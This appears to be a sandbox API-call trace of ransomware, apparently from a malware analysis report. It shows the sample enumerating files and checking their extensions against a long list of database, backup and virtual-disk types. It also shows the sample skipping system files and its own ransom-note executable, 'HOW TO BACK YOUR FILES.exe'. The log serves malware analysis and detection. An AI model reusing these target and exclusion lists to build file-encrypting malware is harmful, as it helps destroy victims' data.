	[0052.049] lstrlenW (lpString="sqlite3") returned 7
	[0052.049] lstrcmpiW (lpString1="ency.js", lpString2="sqlite3") returned -1
	[0052.049] lstrlenW (lpString="sqlitedb") returned 8
	[0052.049] lstrcmpiW (lpString1="rency.js", lpString2="sqlitedb") returned -1
	[0052.050] lstrlenW (lpString="xml") returned 3
	[0052.050] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1
	[0052.050] lstrlenW (lpString="$er") returned 3
	[0052.050] lstrcmpiW (lpString1=".js", lpString2="$er") returned 1
	[0052.050] lstrlenW (lpString="4dd") returned 3
	[0052.050] lstrcmpiW (lpString1=".js", lpString2="4dd") returned -1
	[0052.050] lstrlenW (lpString="4dl") returned 3
	[0052.050] lstrcmpiW (lpString1=".js", lpString2="4dl") returned -1
	[0052.050] lstrlenW (lpString="^^^") returned 3
	[0052.050] lstrcmpiW (lpString1=".js", lpString2="^^^") returned -1
	[0052.050] lstrlenW (lpString="abs") returned 3
	[0052.050] lstrcmpiW (lpString1=".js", lpString2="abs") returned -1
	[0052.050] lstrlenW (lpString="abx") returned 3
	[0052.050] lstrcmpiW (lpString1=".js", lpString2="abx") returned -1
	[0052.050] lstrlenW (lpString="accdb") returned 5
	[0052.050] lstrcmpiW (lpString1="cy.js", lpString2="accdb") returned 1
	[0052.050] lstrlenW (lpString="accdc") returned 5
	[0052.050] lstrcmpiW (lpString1="cy.js", lpString2="accdc") returned 1
	[0052.050] lstrlenW (lpString="accde") returned 5
	[0052.050] lstrcmpiW (lpString1="cy.js", lpString2="accde") returned 1
	[0052.050] lstrlenW (lpString="accdr") returned 5
	[0052.050] lstrcmpiW (lpString1="cy.js", lpString2="accdr") returned 1
	[0052.050] lstrlenW (lpString="accdt") returned 5
	[0052.050] lstrcmpiW (lpString1="cy.js", lpString2="accdt") returned 1
	[0052.050] lstrlenW (lpString="accdw") returned 5
	[0052.050] lstrcmpiW (lpString1="cy.js", lpString2="accdw") returned 1
	[0052.050] lstrlenW (lpString="accft") returned 5
	[0052.050] lstrcmpiW (lpString1="cy.js", lpString2="accft") returned 1
	[0052.050] lstrlenW (lpString="adb") returned 3
	[0052.050] lstrcmpiW (lpString1=".js", lpString2="adb") returned -1
	[0052.050] lstrlenW (lpString="adb") returned 3
	[0052.050] lstrcmpiW (lpString1=".js", lpString2="adb") returned -1
	[0052.050] lstrlenW (lpString="ade") returned 3
	[0052.050] lstrcmpiW (lpString1=".js", lpString2="ade") returned -1
	[0052.051] lstrlenW (lpString="adf") returned 3
	[0052.051] lstrcmpiW (lpString1=".js", lpString2="adf") returned -1
	[0052.051] lstrlenW (lpString="adn") returned 3
	[0052.051] lstrcmpiW (lpString1=".js", lpString2="adn") returned -1
	[0052.051] lstrlenW (lpString="adp") returned 3
	[0052.051] lstrcmpiW (lpString1=".js", lpString2="adp") returned -1
	[0052.051] lstrlenW (lpString="alf") returned 3
	[0052.051] lstrcmpiW (lpString1=".js", lpString2="alf") returned -1
	[0052.051] lstrlenW (lpString="ask") returned 3
	[0052.051] lstrcmpiW (lpString1=".js", lpString2="ask") returned -1
	[0052.051] lstrlenW (lpString="btr") returned 3
	[0052.051] lstrcmpiW (lpString1=".js", lpString2="btr") returned -1
	[0052.051] lstrlenW (lpString="cat") returned 3
	[0052.051] lstrcmpiW (lpString1=".js", lpString2="cat") returned -1
	[0052.051] lstrlenW (lpString="cdb") returned 3
	[0052.051] lstrcmpiW (lpString1=".js", lpString2="cdb") returned -1
	[0052.051] lstrlenW (lpString="ckp") returned 3
	[0052.051] lstrcmpiW (lpString1=".js", lpString2="ckp") returned -1
	[0052.051] lstrlenW (lpString="cma") returned 3
	[0052.051] lstrcmpiW (lpString1=".js", lpString2="cma") returned -1
	[0052.051] lstrlenW (lpString="cpd") returned 3
	[0052.051] lstrcmpiW (lpString1=".js", lpString2="cpd") returned -1
	[0052.051] lstrlenW (lpString="dacpac") returned 6
	[0052.051] lstrcmpiW (lpString1="ncy.js", lpString2="dacpac") returned 1
	[0052.051] lstrlenW (lpString="dad") returned 3
	[0052.051] lstrcmpiW (lpString1=".js", lpString2="dad") returned -1
	[0052.051] lstrlenW (lpString="dadiagrams") returned 10
	[0052.051] lstrcmpiW (lpString1="urrency.js", lpString2="dadiagrams") returned 1
	[0052.051] lstrlenW (lpString="daschema") returned 8
	[0052.051] lstrcmpiW (lpString1="rency.js", lpString2="daschema") returned 1
	[0052.051] lstrlenW (lpString="db-journal") returned 10
	[0052.051] lstrcmpiW (lpString1="urrency.js", lpString2="db-journal") returned 1
	[0052.051] lstrlenW (lpString="db-shm") returned 6
	[0052.051] lstrcmpiW (lpString1="ncy.js", lpString2="db-shm") returned 1
	[0052.052] lstrlenW (lpString="db-wal") returned 6
	[0052.052] lstrcmpiW (lpString1="ncy.js", lpString2="db-wal") returned 1
	[0052.052] lstrlenW (lpString="dbc") returned 3
	[0052.052] lstrcmpiW (lpString1=".js", lpString2="dbc") returned -1
	[0052.052] lstrlenW (lpString="dbs") returned 3
	[0052.052] lstrcmpiW (lpString1=".js", lpString2="dbs") returned -1
	[0052.052] lstrlenW (lpString="dbt") returned 3
	[0052.052] lstrcmpiW (lpString1=".js", lpString2="dbt") returned -1
	[0052.052] lstrlenW (lpString="dbv") returned 3
	[0052.052] lstrcmpiW (lpString1=".js", lpString2="dbv") returned -1
	[0052.052] lstrlenW (lpString="dbx") returned 3
	[0052.052] lstrcmpiW (lpString1=".js", lpString2="dbx") returned -1
	[0052.052] lstrlenW (lpString="dcb") returned 3
	[0052.052] lstrcmpiW (lpString1=".js", lpString2="dcb") returned -1
	[0052.052] lstrlenW (lpString="dct") returned 3
	[0052.052] lstrcmpiW (lpString1=".js", lpString2="dct") returned -1
	[0052.052] lstrlenW (lpString="dcx") returned 3
	[0052.052] lstrcmpiW (lpString1=".js", lpString2="dcx") returned -1
	[0052.052] lstrlenW (lpString="ddl") returned 3
	[0052.052] lstrcmpiW (lpString1=".js", lpString2="ddl") returned -1
	[0052.052] lstrlenW (lpString="dlis") returned 4
	[0052.052] lstrcmpiW (lpString1="y.js", lpString2="dlis") returned 1
	[0052.052] lstrlenW (lpString="dp1") returned 3
	[0052.052] lstrcmpiW (lpString1=".js", lpString2="dp1") returned -1
	[0052.052] lstrlenW (lpString="dqy") returned 3
	[0052.052] lstrcmpiW (lpString1=".js", lpString2="dqy") returned -1
	[0052.052] lstrlenW (lpString="dsk") returned 3
	[0052.052] lstrcmpiW (lpString1=".js", lpString2="dsk") returned -1
	[0052.052] lstrlenW (lpString="dsn") returned 3
	[0052.052] lstrcmpiW (lpString1=".js", lpString2="dsn") returned -1
	[0052.052] lstrlenW (lpString="dtsx") returned 4
	[0052.052] lstrcmpiW (lpString1="y.js", lpString2="dtsx") returned 1
	[0052.052] lstrlenW (lpString="dxl") returned 3
	[0052.052] lstrcmpiW (lpString1=".js", lpString2="dxl") returned -1
	[0052.052] lstrlenW (lpString="eco") returned 3
	[0052.053] lstrcmpiW (lpString1=".js", lpString2="eco") returned -1
	[0052.053] lstrlenW (lpString="ecx") returned 3
	[0052.053] lstrcmpiW (lpString1=".js", lpString2="ecx") returned -1
	[0052.053] lstrlenW (lpString="edb") returned 3
	[0052.053] lstrcmpiW (lpString1=".js", lpString2="edb") returned -1
	[0052.053] lstrlenW (lpString="epim") returned 4
	[0052.053] lstrcmpiW (lpString1="y.js", lpString2="epim") returned 1
	[0052.053] lstrlenW (lpString="fcd") returned 3
	[0052.053] lstrcmpiW (lpString1=".js", lpString2="fcd") returned -1
	[0052.053] lstrlenW (lpString="fdb") returned 3
	[0052.053] lstrcmpiW (lpString1=".js", lpString2="fdb") returned -1
	[0052.053] lstrlenW (lpString="fic") returned 3
	[0052.053] lstrcmpiW (lpString1=".js", lpString2="fic") returned -1
	[0052.053] lstrlenW (lpString="flexolibrary") returned 12
	[0052.053] lstrlenW (lpString="fm5") returned 3
	[0052.053] lstrcmpiW (lpString1=".js", lpString2="fm5") returned -1
	[0052.053] lstrlenW (lpString="fmp") returned 3
	[0052.053] lstrcmpiW (lpString1=".js", lpString2="fmp") returned -1
	[0052.053] lstrlenW (lpString="fmp12") returned 5
	[0052.053] lstrcmpiW (lpString1="cy.js", lpString2="fmp12") returned -1
	[0052.053] lstrlenW (lpString="fmpsl") returned 5
	[0052.053] lstrcmpiW (lpString1="cy.js", lpString2="fmpsl") returned -1
	[0052.053] lstrlenW (lpString="fol") returned 3
	[0052.053] lstrcmpiW (lpString1=".js", lpString2="fol") returned -1
	[0052.053] lstrlenW (lpString="fp3") returned 3
	[0052.053] lstrcmpiW (lpString1=".js", lpString2="fp3") returned -1
	[0052.053] lstrlenW (lpString="fp4") returned 3
	[0052.053] lstrcmpiW (lpString1=".js", lpString2="fp4") returned -1
	[0052.053] lstrlenW (lpString="fp5") returned 3
	[0052.053] lstrcmpiW (lpString1=".js", lpString2="fp5") returned -1
	[0052.053] lstrlenW (lpString="fp7") returned 3
	[0052.053] lstrcmpiW (lpString1=".js", lpString2="fp7") returned -1
	[0052.053] lstrlenW (lpString="fpt") returned 3
	[0052.053] lstrcmpiW (lpString1=".js", lpString2="fpt") returned -1
	[0052.053] lstrlenW (lpString="frm") returned 3
	[0052.054] lstrcmpiW (lpString1=".js", lpString2="frm") returned -1
	[0052.054] lstrlenW (lpString="gdb") returned 3
	[0052.054] lstrcmpiW (lpString1=".js", lpString2="gdb") returned -1
	[0052.054] lstrlenW (lpString="gdb") returned 3
	[0052.054] lstrcmpiW (lpString1=".js", lpString2="gdb") returned -1
	[0052.054] lstrlenW (lpString="grdb") returned 4
	[0052.054] lstrcmpiW (lpString1="y.js", lpString2="grdb") returned 1
	[0052.054] lstrlenW (lpString="gwi") returned 3
	[0052.054] lstrcmpiW (lpString1=".js", lpString2="gwi") returned -1
	[0052.054] lstrlenW (lpString="hdb") returned 3
	[0052.054] lstrcmpiW (lpString1=".js", lpString2="hdb") returned -1
	[0052.054] lstrlenW (lpString="his") returned 3
	[0052.054] lstrcmpiW (lpString1=".js", lpString2="his") returned -1
	[0052.054] lstrlenW (lpString="ib") returned 2
	[0052.054] lstrcmpiW (lpString1="js", lpString2="ib") returned 1
	[0052.054] lstrlenW (lpString="idb") returned 3
	[0052.054] lstrcmpiW (lpString1=".js", lpString2="idb") returned -1
	[0052.054] lstrlenW (lpString="ihx") returned 3
	[0052.054] lstrcmpiW (lpString1=".js", lpString2="ihx") returned -1
	[0052.054] lstrlenW (lpString="itdb") returned 4
	[0052.054] lstrcmpiW (lpString1="y.js", lpString2="itdb") returned 1
	[0052.054] lstrlenW (lpString="itw") returned 3
	[0052.054] lstrcmpiW (lpString1=".js", lpString2="itw") returned -1
	[0052.054] lstrlenW (lpString="jet") returned 3
	[0052.054] lstrcmpiW (lpString1=".js", lpString2="jet") returned -1
	[0052.054] lstrlenW (lpString="jtx") returned 3
	[0052.054] lstrcmpiW (lpString1=".js", lpString2="jtx") returned -1
	[0052.054] lstrlenW (lpString="kdb") returned 3
	[0052.054] lstrcmpiW (lpString1=".js", lpString2="kdb") returned -1
	[0052.054] lstrlenW (lpString="kexi") returned 4
	[0052.054] lstrcmpiW (lpString1="y.js", lpString2="kexi") returned 1
	[0052.054] lstrlenW (lpString="kexic") returned 5
	[0052.054] lstrcmpiW (lpString1="cy.js", lpString2="kexic") returned -1
	[0052.054] lstrlenW (lpString="kexis") returned 5
	[0052.055] lstrcmpiW (lpString1="cy.js", lpString2="kexis") returned -1
	[0052.055] lstrlenW (lpString="lgc") returned 3
	[0052.055] lstrcmpiW (lpString1=".js", lpString2="lgc") returned -1
	[0052.055] lstrlenW (lpString="lwx") returned 3
	[0052.055] lstrcmpiW (lpString1=".js", lpString2="lwx") returned -1
	[0052.055] lstrlenW (lpString="maf") returned 3
	[0052.055] lstrcmpiW (lpString1=".js", lpString2="maf") returned -1
	[0052.055] lstrlenW (lpString="maq") returned 3
	[0052.055] lstrcmpiW (lpString1=".js", lpString2="maq") returned -1
	[0052.055] lstrlenW (lpString="mar") returned 3
	[0052.055] lstrcmpiW (lpString1=".js", lpString2="mar") returned -1
	[0052.055] lstrlenW (lpString="marshal") returned 7
	[0052.055] lstrcmpiW (lpString1="ency.js", lpString2="marshal") returned -1
	[0052.055] lstrlenW (lpString="mas") returned 3
	[0052.055] lstrcmpiW (lpString1=".js", lpString2="mas") returned -1
	[0052.055] lstrlenW (lpString="mav") returned 3
	[0052.055] lstrcmpiW (lpString1=".js", lpString2="mav") returned -1
	[0052.055] lstrlenW (lpString="maw") returned 3
	[0052.055] lstrcmpiW (lpString1=".js", lpString2="maw") returned -1
	[0052.055] lstrlenW (lpString="mdbhtml") returned 7
	[0052.055] lstrcmpiW (lpString1="ency.js", lpString2="mdbhtml") returned -1
	[0052.055] lstrlenW (lpString="mdn") returned 3
	[0052.055] lstrcmpiW (lpString1=".js", lpString2="mdn") returned -1
	[0052.055] lstrlenW (lpString="mdt") returned 3
	[0052.055] lstrcmpiW (lpString1=".js", lpString2="mdt") returned -1
	[0052.055] lstrlenW (lpString="mfd") returned 3
	[0052.055] lstrcmpiW (lpString1=".js", lpString2="mfd") returned -1
	[0052.055] lstrlenW (lpString="mpd") returned 3
	[0052.055] lstrcmpiW (lpString1=".js", lpString2="mpd") returned -1
	[0052.055] lstrlenW (lpString="mrg") returned 3
	[0052.055] lstrcmpiW (lpString1=".js", lpString2="mrg") returned -1
	[0052.055] lstrlenW (lpString="mud") returned 3
	[0052.055] lstrcmpiW (lpString1=".js", lpString2="mud") returned -1
	[0052.055] lstrlenW (lpString="mwb") returned 3
	[0052.056] lstrcmpiW (lpString1=".js", lpString2="mwb") returned -1
	[0052.056] lstrlenW (lpString="myd") returned 3
	[0052.056] lstrcmpiW (lpString1=".js", lpString2="myd") returned -1
	[0052.056] lstrlenW (lpString="ndf") returned 3
	[0052.056] lstrcmpiW (lpString1=".js", lpString2="ndf") returned -1
	[0052.056] lstrlenW (lpString="nnt") returned 3
	[0052.056] lstrcmpiW (lpString1=".js", lpString2="nnt") returned -1
	[0052.056] lstrlenW (lpString="nrmlib") returned 6
	[0052.056] lstrcmpiW (lpString1="ncy.js", lpString2="nrmlib") returned -1
	[0052.056] lstrlenW (lpString="ns2") returned 3
	[0052.056] lstrcmpiW (lpString1=".js", lpString2="ns2") returned -1
	[0052.056] lstrlenW (lpString="ns3") returned 3
	[0052.056] lstrcmpiW (lpString1=".js", lpString2="ns3") returned -1
	[0052.056] lstrlenW (lpString="ns4") returned 3
	[0052.056] lstrcmpiW (lpString1=".js", lpString2="ns4") returned -1
	[0052.056] lstrlenW (lpString="nsf") returned 3
	[0052.056] lstrcmpiW (lpString1=".js", lpString2="nsf") returned -1
	[0052.056] lstrlenW (lpString="nv") returned 2
	[0052.056] lstrcmpiW (lpString1="js", lpString2="nv") returned -1
	[0052.056] lstrlenW (lpString="nv2") returned 3
	[0052.056] lstrcmpiW (lpString1=".js", lpString2="nv2") returned -1
	[0052.056] lstrlenW (lpString="nwdb") returned 4
	[0052.056] lstrcmpiW (lpString1="y.js", lpString2="nwdb") returned 1
	[0052.056] lstrlenW (lpString="nyf") returned 3
	[0052.056] lstrcmpiW (lpString1=".js", lpString2="nyf") returned -1
	[0052.056] lstrlenW (lpString="odb") returned 3
	[0052.056] lstrcmpiW (lpString1=".js", lpString2="odb") returned -1
	[0052.056] lstrlenW (lpString="odb") returned 3
	[0052.056] lstrcmpiW (lpString1=".js", lpString2="odb") returned -1
	[0052.056] lstrlenW (lpString="oqy") returned 3
	[0052.056] lstrcmpiW (lpString1=".js", lpString2="oqy") returned -1
	[0052.056] lstrlenW (lpString="ora") returned 3
	[0052.056] lstrcmpiW (lpString1=".js", lpString2="ora") returned -1
	[0052.056] lstrlenW (lpString="orx") returned 3
	[0052.057] lstrcmpiW (lpString1=".js", lpString2="orx") returned -1
	[0052.057] lstrlenW (lpString="owc") returned 3
	[0052.057] lstrcmpiW (lpString1=".js", lpString2="owc") returned -1
	[0052.057] lstrlenW (lpString="p96") returned 3
	[0052.057] lstrcmpiW (lpString1=".js", lpString2="p96") returned -1
	[0052.057] lstrlenW (lpString="p97") returned 3
	[0052.057] lstrcmpiW (lpString1=".js", lpString2="p97") returned -1
	[0052.057] lstrlenW (lpString="pan") returned 3
	[0052.057] lstrcmpiW (lpString1=".js", lpString2="pan") returned -1
	[0052.057] lstrlenW (lpString="pdb") returned 3
	[0052.057] lstrcmpiW (lpString1=".js", lpString2="pdb") returned -1
	[0052.057] lstrlenW (lpString="pdm") returned 3
	[0052.057] lstrcmpiW (lpString1=".js", lpString2="pdm") returned -1
	[0052.057] lstrlenW (lpString="pnz") returned 3
	[0052.057] lstrcmpiW (lpString1=".js", lpString2="pnz") returned -1
	[0052.057] lstrlenW (lpString="qry") returned 3
	[0052.057] lstrcmpiW (lpString1=".js", lpString2="qry") returned -1
	[0052.057] lstrlenW (lpString="qvd") returned 3
	[0052.057] lstrcmpiW (lpString1=".js", lpString2="qvd") returned -1
	[0052.057] lstrlenW (lpString="rbf") returned 3
	[0052.057] lstrcmpiW (lpString1=".js", lpString2="rbf") returned -1
	[0052.057] lstrlenW (lpString="rctd") returned 4
	[0052.057] lstrcmpiW (lpString1="y.js", lpString2="rctd") returned 1
	[0052.057] lstrlenW (lpString="rod") returned 3
	[0052.057] lstrcmpiW (lpString1=".js", lpString2="rod") returned -1
	[0052.057] lstrlenW (lpString="rodx") returned 4
	[0052.057] lstrcmpiW (lpString1="y.js", lpString2="rodx") returned 1
	[0052.057] lstrlenW (lpString="rpd") returned 3
	[0052.057] lstrcmpiW (lpString1=".js", lpString2="rpd") returned -1
	[0052.057] lstrlenW (lpString="rsd") returned 3
	[0052.057] lstrcmpiW (lpString1=".js", lpString2="rsd") returned -1
	[0052.057] lstrlenW (lpString="sas7bdat") returned 8
	[0052.057] lstrcmpiW (lpString1="rency.js", lpString2="sas7bdat") returned -1
	[0052.057] lstrlenW (lpString="sbf") returned 3
	[0052.058] lstrcmpiW (lpString1=".js", lpString2="sbf") returned -1
	[0052.058] lstrlenW (lpString="scx") returned 3
	[0052.058] lstrcmpiW (lpString1=".js", lpString2="scx") returned -1
	[0052.058] lstrlenW (lpString="sdb") returned 3
	[0052.058] lstrcmpiW (lpString1=".js", lpString2="sdb") returned -1
	[0052.058] lstrlenW (lpString="sdc") returned 3
	[0052.058] lstrcmpiW (lpString1=".js", lpString2="sdc") returned -1
	[0052.058] lstrlenW (lpString="sdf") returned 3
	[0052.058] lstrcmpiW (lpString1=".js", lpString2="sdf") returned -1
	[0052.058] lstrlenW (lpString="sis") returned 3
	[0052.058] lstrcmpiW (lpString1=".js", lpString2="sis") returned -1
	[0052.058] lstrlenW (lpString="spq") returned 3
	[0052.058] lstrcmpiW (lpString1=".js", lpString2="spq") returned -1
	[0052.058] lstrlenW (lpString="te") returned 2
	[0052.058] lstrcmpiW (lpString1="js", lpString2="te") returned -1
	[0052.058] lstrlenW (lpString="teacher") returned 7
	[0052.058] lstrcmpiW (lpString1="ency.js", lpString2="teacher") returned -1
	[0052.058] lstrlenW (lpString="tmd") returned 3
	[0052.058] lstrcmpiW (lpString1=".js", lpString2="tmd") returned -1
	[0052.058] lstrlenW (lpString="tps") returned 3
	[0052.058] lstrcmpiW (lpString1=".js", lpString2="tps") returned -1
	[0052.058] lstrlenW (lpString="trc") returned 3
	[0052.058] lstrcmpiW (lpString1=".js", lpString2="trc") returned -1
	[0052.058] lstrlenW (lpString="trc") returned 3
	[0052.058] lstrcmpiW (lpString1=".js", lpString2="trc") returned -1
	[0052.058] lstrlenW (lpString="trm") returned 3
	[0052.058] lstrcmpiW (lpString1=".js", lpString2="trm") returned -1
	[0052.058] lstrlenW (lpString="udb") returned 3
	[0052.058] lstrcmpiW (lpString1=".js", lpString2="udb") returned -1
	[0052.059] lstrlenW (lpString="udl") returned 3
	[0052.059] lstrcmpiW (lpString1=".js", lpString2="udl") returned -1
	[0052.059] lstrlenW (lpString="usr") returned 3
	[0052.059] lstrcmpiW (lpString1=".js", lpString2="usr") returned -1
	[0052.059] lstrlenW (lpString="v12") returned 3
	[0052.059] lstrcmpiW (lpString1=".js", lpString2="v12") returned -1
	[0052.059] lstrlenW (lpString="vis") returned 3
	[0052.059] lstrcmpiW (lpString1=".js", lpString2="vis") returned -1
	[0052.059] lstrlenW (lpString="vpd") returned 3
	[0052.059] lstrcmpiW (lpString1=".js", lpString2="vpd") returned -1
	[0052.059] lstrlenW (lpString="vvv") returned 3
	[0052.059] lstrcmpiW (lpString1=".js", lpString2="vvv") returned -1
	[0052.059] lstrlenW (lpString="wdb") returned 3
	[0052.059] lstrcmpiW (lpString1=".js", lpString2="wdb") returned -1
	[0052.059] lstrlenW (lpString="wmdb") returned 4
	[0052.059] lstrcmpiW (lpString1="y.js", lpString2="wmdb") returned 1
	[0052.059] lstrlenW (lpString="wrk") returned 3
	[0052.059] lstrcmpiW (lpString1=".js", lpString2="wrk") returned -1
	[0052.059] lstrlenW (lpString="xdb") returned 3
	[0052.059] lstrcmpiW (lpString1=".js", lpString2="xdb") returned -1
	[0052.059] lstrlenW (lpString="xld") returned 3
	[0052.059] lstrcmpiW (lpString1=".js", lpString2="xld") returned -1
	[0052.059] lstrlenW (lpString="xmlff") returned 5
	[0052.059] lstrcmpiW (lpString1="cy.js", lpString2="xmlff") returned -1
	[0052.059] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3718def0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3718def0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.059] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.059] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="init.js", cAlternateFileName="")) returned 1
	[0052.059] lstrcmpiW (lpString1="init.js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.059] lstrcmpiW (lpString1="init.js", lpString2="Apollon865.txt.exe") returned 1
	[0052.059] lstrcmpiW (lpString1="init.js", lpString2=".") returned 1
	[0052.059] lstrcmpiW (lpString1="init.js", lpString2="..") returned 1
	[0052.059] lstrcmpiW (lpString1="init.js", lpString2="windows") returned -1
	[0052.059] lstrcmpiW (lpString1="init.js", lpString2="bootmgr") returned 1
	[0052.059] lstrcmpiW (lpString1="init.js", lpString2="temp") returned -1
	[0052.060] lstrcmpiW (lpString1="init.js", lpString2="pagefile.sys") returned -1
	[0052.060] lstrcmpiW (lpString1="init.js", lpString2="boot") returned 1
	[0052.060] lstrcmpiW (lpString1="init.js", lpString2="ids.txt") returned 1
	[0052.060] lstrcmpiW (lpString1="init.js", lpString2="ntuser.dat") returned -1
	[0052.060] lstrcmpiW (lpString1="init.js", lpString2="perflogs") returned -1
	[0052.060] lstrcmpiW (lpString1="init.js", lpString2="MSBuild") returned -1
	[0052.060] lstrlenW (lpString="init.js") returned 7
	[0052.060] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\currency.js") returned 83
	[0052.060] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="init.js" | out: lpString1="init.js") returned="init.js"
	[0052.060] lstrlenW (lpString="init.js") returned 7
	[0052.060] lstrlenW (lpString="Apollon865") returned 10
	[0052.060] lstrlenW (lpString=".dll") returned 4
	[0052.060] lstrcmpiW (lpString1="init.js", lpString2=".dll") returned 1
	[0052.060] lstrlenW (lpString=".lnk") returned 4
	[0052.060] lstrcmpiW (lpString1="init.js", lpString2=".lnk") returned 1
	[0052.060] lstrlenW (lpString=".ini") returned 4
	[0052.060] lstrcmpiW (lpString1="init.js", lpString2=".ini") returned 1
	[0052.060] lstrlenW (lpString=".sys") returned 4
	[0052.060] lstrcmpiW (lpString1="init.js", lpString2=".sys") returned 1
	[0052.060] lstrlenW (lpString="init.js") returned 7
	[0052.060] lstrlenW (lpString="bak") returned 3
	[0052.060] lstrcmpiW (lpString1=".js", lpString2="bak") returned -1
	[0052.060] lstrlenW (lpString="ba_") returned 3
	[0052.060] lstrcmpiW (lpString1=".js", lpString2="ba_") returned -1
	[0052.060] lstrlenW (lpString="dbb") returned 3
	[0052.060] lstrcmpiW (lpString1=".js", lpString2="dbb") returned -1
	[0052.060] lstrlenW (lpString="vmdk") returned 4
	[0052.060] lstrcmpiW (lpString1="t.js", lpString2="vmdk") returned -1
	[0052.060] lstrlenW (lpString="rar") returned 3
	[0052.060] lstrcmpiW (lpString1=".js", lpString2="rar") returned -1
	[0052.060] lstrlenW (lpString="zip") returned 3
	[0052.060] lstrcmpiW (lpString1=".js", lpString2="zip") returned -1
	[0052.060] lstrlenW (lpString="tgz") returned 3
	[0052.060] lstrcmpiW (lpString1=".js", lpString2="tgz") returned -1
	[0052.060] lstrlenW (lpString="vbox") returned 4
	[0052.061] lstrcmpiW (lpString1="t.js", lpString2="vbox") returned -1
	[0052.061] lstrlenW (lpString="vdi") returned 3
	[0052.061] lstrcmpiW (lpString1=".js", lpString2="vdi") returned -1
	[0052.061] lstrlenW (lpString="vhd") returned 3
	[0052.061] lstrcmpiW (lpString1=".js", lpString2="vhd") returned -1
	[0052.061] lstrlenW (lpString="vhdx") returned 4
	[0052.061] lstrcmpiW (lpString1="t.js", lpString2="vhdx") returned -1
	[0052.061] lstrlenW (lpString="avhd") returned 4
	[0052.061] lstrcmpiW (lpString1="t.js", lpString2="avhd") returned 1
	[0052.061] lstrlenW (lpString="db") returned 2
	[0052.061] lstrcmpiW (lpString1="js", lpString2="db") returned 1
	[0052.061] lstrlenW (lpString="db2") returned 3
	[0052.061] lstrcmpiW (lpString1=".js", lpString2="db2") returned -1
	[0052.061] lstrlenW (lpString="db3") returned 3
	[0052.061] lstrcmpiW (lpString1=".js", lpString2="db3") returned -1
	[0052.061] lstrlenW (lpString="dbf") returned 3
	[0052.061] lstrcmpiW (lpString1=".js", lpString2="dbf") returned -1
	[0052.061] lstrlenW (lpString="mdf") returned 3
	[0052.061] lstrcmpiW (lpString1=".js", lpString2="mdf") returned -1
	[0052.061] lstrlenW (lpString="mdb") returned 3
	[0052.061] lstrcmpiW (lpString1=".js", lpString2="mdb") returned -1
	[0052.061] lstrlenW (lpString="sql") returned 3
	[0052.061] lstrcmpiW (lpString1=".js", lpString2="sql") returned -1
	[0052.061] lstrlenW (lpString="sqlite") returned 6
	[0052.061] lstrcmpiW (lpString1="nit.js", lpString2="sqlite") returned -1
	[0052.061] lstrlenW (lpString="sqlite3") returned 7
	[0052.061] lstrlenW (lpString="sqlitedb") returned 8
	[0052.061] lstrlenW (lpString="xml") returned 3
	[0052.061] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1
	[0052.061] lstrlenW (lpString="$er") returned 3
	[0052.061] lstrcmpiW (lpString1=".js", lpString2="$er") returned 1
	[0052.061] lstrlenW (lpString="4dd") returned 3
	[0052.061] lstrcmpiW (lpString1=".js", lpString2="4dd") returned -1
	[0052.061] lstrlenW (lpString="4dl") returned 3
	[0052.062] lstrcmpiW (lpString1=".js", lpString2="4dl") returned -1
	[0052.062] lstrlenW (lpString="^^^") returned 3
	[0052.062] lstrcmpiW (lpString1=".js", lpString2="^^^") returned -1
	[0052.062] lstrlenW (lpString="abs") returned 3
	[0052.062] lstrcmpiW (lpString1=".js", lpString2="abs") returned -1
	[0052.062] lstrlenW (lpString="abx") returned 3
	[0052.062] lstrcmpiW (lpString1=".js", lpString2="abx") returned -1
	[0052.062] lstrlenW (lpString="accdb") returned 5
	[0052.062] lstrcmpiW (lpString1="it.js", lpString2="accdb") returned 1
	[0052.062] lstrlenW (lpString="accdc") returned 5
	[0052.062] lstrcmpiW (lpString1="it.js", lpString2="accdc") returned 1
	[0052.062] lstrlenW (lpString="accde") returned 5
	[0052.062] lstrcmpiW (lpString1="it.js", lpString2="accde") returned 1
	[0052.062] lstrlenW (lpString="accdr") returned 5
	[0052.062] lstrcmpiW (lpString1="it.js", lpString2="accdr") returned 1
	[0052.062] lstrlenW (lpString="accdt") returned 5
	[0052.062] lstrcmpiW (lpString1="it.js", lpString2="accdt") returned 1
	[0052.062] lstrlenW (lpString="accdw") returned 5
	[0052.062] lstrcmpiW (lpString1="it.js", lpString2="accdw") returned 1
	[0052.062] lstrlenW (lpString="accft") returned 5
	[0052.062] lstrcmpiW (lpString1="it.js", lpString2="accft") returned 1
	[0052.062] lstrlenW (lpString="adb") returned 3
	[0052.062] lstrcmpiW (lpString1=".js", lpString2="adb") returned -1
	[0052.062] lstrlenW (lpString="adb") returned 3
	[0052.062] lstrcmpiW (lpString1=".js", lpString2="adb") returned -1
	[0052.062] lstrlenW (lpString="ade") returned 3
	[0052.062] lstrcmpiW (lpString1=".js", lpString2="ade") returned -1
	[0052.062] lstrlenW (lpString="adf") returned 3
